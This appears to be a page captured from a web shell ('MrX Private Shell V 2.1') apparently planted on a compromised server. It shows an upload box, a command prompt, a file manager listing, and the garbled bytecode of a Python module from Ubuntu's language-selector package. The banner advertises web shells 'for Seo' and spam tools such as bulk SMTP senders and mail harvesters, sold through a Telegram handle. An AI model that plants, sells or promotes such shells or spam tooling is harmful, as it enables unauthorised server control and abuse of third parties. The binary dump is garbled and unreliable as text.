__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g���SrSSKJr SSKrSSKrSSjr"SS5r"SS5r\S	:Xa�S
r	SH�r
\"\	\
5r\"S\
S
5 Sr
\"S\R\
55 \"SS5R!\
5 \R#S5 \"S\"S5R%55 \R&"S5 M� gg)z�macros.py: Generate macro values from configuration values and provide
substitution functions.

The following macros are available:

  LCODE CCODE PKGCODE LOCALE
�)�print_functionNc�V�Sn[US5nUHZnURU5upgURS5S:�dURS5S:�aMCXa:XdMJUR	5nM\ UR5 US:Xa[
SU<SU<35eU$![a M�f=f)zWLook up key in given file ("key value" lines). Throw an exception if
key was not found.N�r�#rzKey z not found in )�open�split�
ValueError�find�strip�close�KeyError)�file�key�sep�val�f�l�k�vs        �9/usr/lib/python3/dist-packages/LanguageSelector/macros.py�	_file_maprs����C��T�3��A�
��	��W�W�S�\�F�Q�
�6�6�#�;�!��q�v�v�c�{�a�/���8��'�'�)�C���G�G�I�
�d�{��3��=�>�>��J���	��	�s�B�
B(�'B(c�0�\rSrSrSrSrSrSrSrSr	g)	�LangcodeMacros�#z1/usr/share/language-selector/data/langcode2localec�V�0Ul0n[UR5HonUR5nUR	S5upEUR
S5S:�dUR
S5S:�aMSXB;a/X$'X$RU5 Mq X!US'g![
a M�f=f)N�:rr�LOCALES)�macrosr�LANGCODE_TO_LOCALE�rstriprr	r
�append)�self�langCode�localesrrrs      r�__init__�LangcodeMacros.__init__'s���������d�-�-�.�A�
��H�H�J����������v�v�c�{�a��1�6�6�#�;�!�#3���<���
��J���a� �/�"�+��Y����
��
�s�#B�
B(�'B(c�:�URRUS5$�N��r�get�r"�items  r�__getitem__�LangcodeMacros.__getitem__7����{�{���t�R�(�(�c� �X RU'g�N�r�r"r-�values   r�__setitem__�LangcodeMacros.__setitem__;���!���D�r1c�8�URRU5$r3�r�__contains__r,s  rr<�LangcodeMacros.__contains__>����{�{�'�'��-�-r1r4N)
�__name__�
__module__�__qualname__�__firstlineno__rr%r.r7r<�__static_attributes__�r1rrr#s��L��,� )�"�.r1rc�>�\rSrSrSrSrSrSrSrSr	Sr
S	rg
)�LangpackMacros�Ac���[RRUSS5Ul0UlSUS'SUS'SUS'SUS'SUS'SUS	'US
:XdUS:XaSnS
U;aURS
5uo S'SU;aURS5SnSU;aURS5uUS'US'OX S'[
US5S:�aU<S
US<3US'OX S'[
US5S:�aU[
US5S:�aUS<SUS<S3US	'OSUS-US	'[
US5S:�aUS	<S
US<3US	'[URUSS5US'g![a USUS'gf=f)a	Initialize values of macros.

This uses information from maps/, config/, some hardcoded aggregate
strings (such as package names), and some external input:

- locale: Standard locale representation (e. g. pt_BR.UTF-8)
          Format is: ll[_CC][.UTF-8][@variant]
�data�locale2langpackr)�LCODE�CCODE�VARIANT�LOCALE�PKGCODE�	SYSLOCALE�C�POSIX�en_US�@�.r�_z.UTF-8z%s.UTF-8rN)	�os�path�join�LOCALE_TO_LANGPACKrr�lenrr
)r"�datadir�locales   rr%�LangpackMacros.__init__Bs���#%�'�'�,�,�w��@Q�"R��������W�
���W�
���Y����X����Y����[���S�=�F�g�-��F��&�=�(.���S�(9�%�V�)�_��&�=��\�\�#�&�q�)�F��&�=�-3�\�\�#�->�*�T�'�]�D��M�"��M��t�I���!�#�(.��Y��@�D��N�#��N��t�G�}���!��4��=�!�A�%�59�'�]�D��M�$R��[�!�$.��g��$>��[�!��4�	�?�#�a�'�/3�K�/@�$�y�/�$R��[�!�	,�'��(?�(?��h��QT�U�D��O���	,�"�7�m�D��O�	,�s�E!�!E6�5E6c�:�URRUS5$r(r*r,s  rr.�LangpackMacros.__getitem__rr0r1c� �X RU'gr3r4r5s   rr7�LangpackMacros.__setitem__vr9r1c�8�URRU5$r3r;r,s  rr<�LangpackMacros.__contains__yr>r1c���[R"S5nURU5nU(aCUSURS5S-
XR	S5-XRS5S-S-nOU$M`)z&Substitute all macros in given string.z
%([A-Z]+)%�N)�re�compile�search�start�group�end)r"�s�re_macro�ms    r�subst_string�LangpackMacros.subst_string|sp���:�:�l�+�������"�A���m�q�w�w�q�z�!�|�$�t�G�G�A�J�'7�7�!�E�E�!�H�Q�J�K�.�H�����r1c��[U5R5n[US5RURU55 g)z$Substitute all macros in given file.�wN)r�read�writerp)r"rrms   r�
subst_file�LangpackMacros.subst_file�s3��
��J�O�O����T�3����d�/�/��2�3r1c	��[R"U5H>up#nUH2nUR[RR	XU55 M4 M@ g)z.Substitute all macros in given directory tree.N)rW�walkrvrXrY)r"�rootrX�dirs�filesrs      r�
subst_tree�LangpackMacros.subst_tree�s@��"$������D������������T�� ;�<��"/r1)rZrN)r?r@rArBr%r.r7r<rprvr}rCrDr1rrFrFAs&��.,�`)�"�.��4�=r1rF�__main__z/usr/share/language-selector)	�de�de_DEzde_DE.UTF-8zde_DE.UTF-8@eurozfr_BE@latinzzh_CN.UTF-8zzh_TW.UTF-8zzh_HK.UTF-8�invalid_Localez-------z---------------z;"%PKGCODE%: %LCODE% %CCODE% %VARIANT% %LOCALE% %SYSLOCALE%"zstring:�testtestrszfile  :r3)�__doc__�
__future__rrWrgrrrFr?r\r]r�print�templaterprrurvrt�unlinkrDr1r�<module>r�s����&�	�	��*.�.�<S=�S=�j�z��,�G�S���7�F�+��
�i��!2�3�P��
�i�����1�2��Z���#�#�H�-�	���Z� �
�i��j�)�.�.�0�1�
�	�	�*��S�r1

Filemanager

Name Type Size Permission Actions
ImConfig.cpython-313.pyc File 2.86 KB 0644
LangCache.cpython-313.pyc File 9.35 KB 0644
LanguageSelector.cpython-313.pyc File 6.33 KB 0644
LocaleInfo.cpython-313.pyc File 13.4 KB 0644
__init__.cpython-313.pyc File 156 B 0644
macros.cpython-313.pyc File 7.48 KB 0644
utils.cpython-313.pyc File 2.19 KB 0644
xkb.cpython-313.pyc File 4.6 KB 0644
Filemanager